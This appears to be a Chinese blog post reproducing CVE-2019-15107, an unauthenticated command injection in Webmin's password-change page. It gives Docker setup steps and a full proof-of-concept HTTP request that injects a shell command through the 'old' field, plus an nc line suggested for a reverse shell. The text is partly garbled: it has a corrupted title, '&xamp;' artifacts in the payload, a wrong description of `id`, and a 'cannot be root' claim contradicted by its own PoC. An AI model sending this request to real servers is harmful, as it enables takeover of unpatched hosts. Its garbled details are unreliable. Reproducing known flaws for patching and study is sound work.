CVE-2019-15107 Webmin远程命令执行漏洞复现
发布日期:2021-05-25 11:46:42 浏览次数:27 分类:精选文章

本文共 1362 字,大约阅读时间需要 4 分钟。

Webmin 违lantermen漏洞分析与利用

漏洞概括

Webmin 是一款用于管理类 Unix 系统的配置工具,其界面基于网络页面。在Webmin 的找回密码页面中,存在一个重大无需权限的命令注入漏洞。该漏洞被发现存在于端口 10000 上。此外,在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

目前已知的受影响版本包括 Webmin <= 1.920。


环境搭建

为验证漏洞,我搭建了一个基于 Docker 的 1.910 版本 Webmin 环境。为了触发漏洞,需完成以下步骤:

  • 开启密码重置功能:在 Webmin 的配置界面,进入 Authentication -> Password expiry policy,选择 Prompt users with expired passwords to enter a new one
  • 启动 Webmin:完成配置后重启 Webmin 服务,确保连接至地址 your-ip:10000
  • 通过以上步骤,可以成功触发相关漏洞。


    漏洞利用

    Proof of Concept (PoC)

    POST /password_change.cgi HTTP/1.1Host: your-ip:10000Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: https://your-ip:10000/session_login.cgiContent-Type: application/x-www-form-urlencodedContent-Length: 60user=root&xamp; pam=&xamp; expired=2&xamp; old=test%7Cid&xamp; new1=test2&xamp; new2=test2

    通过上述 PoC 请求,可以直接注入命令或访问 /password_change.cgi 并通过抓包注入指令。


    ###_command Injection 细节

  • 可用用户:输入的 keyword 可以是任意用户,包括存在的 Webmin 用户或不存在的用户。
  • 不可用用户:输入的 keyword 不可为 root,否则注入将失败。

  • 示例注入

    id # 输出当前进程列表nc -zv your-ip 9999 # 如果需要反弹 shell,请确保 `nc` 存在并安装

    上述命令中使用 idnc 进行注入,具体操作需根据环境调整。


    补充说明

    对于 Webmin 1.890 版本,触发漏洞只需传递 expired 参数即可,无需开启 Prompt users with expired passwords to enter a new one 选项。


    参考文章

    (文章未提供具体参考资料)

    上一篇:Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞复现
    下一篇:php.ini常见配置

    发表评论

    最新留言

    关注你微信了!
    [***.104.42.241]2025年04月28日 19时59分55秒